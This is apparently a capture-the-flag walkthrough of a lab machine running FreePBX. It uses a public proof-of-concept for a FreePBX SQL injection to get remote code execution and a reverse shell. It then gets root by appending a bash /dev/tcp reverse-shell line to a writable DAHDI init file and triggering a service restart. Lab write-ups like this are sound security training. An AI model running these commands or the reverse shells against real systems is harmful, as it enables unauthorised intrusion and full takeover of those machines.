Connected
Nmap :p
Nmap scan report for 10.129.70.129
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization
The cert’s common name is pbxconnect and browsing to connected.htb gives us a FreePBX login. FreePBX had a pretty big one recently, CVE-2025-57819, which is an unauthenticated SQL injection in the endpoint management module that can be chained into RCE. It got exploited in the wild as a zero day, so it’s a solid first guess.
https://github.com/K3ysTr0K3R/CVE-2025-57819
This PoC does the whole chain for us. It uses the SQLi to plant a payload into FreePBX’s cron table, then waits for cron to run it and send us a shell:
python3 exploit.py -u http://connected.htb --lhost 10.10.17.229 --lport 4444
CVE-2025-57819 • FreePBX SQLi → RCE
[*] Target locked: http://connected.htb
[*] Reverse listener armed on 10.10.17.229:4444, awaiting callback...
[+] Exploit path confirmed!
[*] Injecting payload into cron schedule...
[+] Payload planted successfully (server response: 500)
[*] Awaiting trigger activation (cron will fire within ~60 seconds)...
[+] Incoming shell session acquired from ('10.129.70.129', 55856)!
About a minute later we have a shell as the asterisk user, which is the account FreePBX runs as.
Privesc
Looking for config files in /etc that our user can write to:
[asterisk@connected etc]$ find /etc -type f -name "*.conf" -writable 2>/dev/null
/etc/modprobe.d/dahdi.conf
/etc/dahdi/init.conf
/etc/dahdi/system.conf
DAHDI is the telephony hardware driver stack that Asterisk uses. The interesting one is init.conf. It’s a shell settings file that gets sourced by DAHDI’s init script, and that init script runs as root whenever the service starts or restarts. So anything we put in here runs as root.
We append a reverse shell to the end of the file:
echo '/bin/bash -i >& /dev/tcp/10.10.17.229/4445 0>&1' >> /etc/dahdi/init.conf
tail -n 3 /etc/dahdi/init.conf
#DAHDI_UDEV_DISABLE_DEVICES=yes
#DAHDI_UDEV_DISABLE_SPANS=yes
/bin/bash -i >& /dev/tcp/10.10.17.229/4445 0>&1
Now we just need the service to restart. We can’t restart services ourselves, but FreePBX’s sysadmin module watches a spool file and restarts DAHDI as root whenever something gets written to it. So we can trigger it:
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart
With another listener running on 4445, the init script sources our line and we get a shell back as root:
nc -lvnp 4445
sh-4.2# whoami
root
sh-4.2# cat /root/root.txt
Ez gg.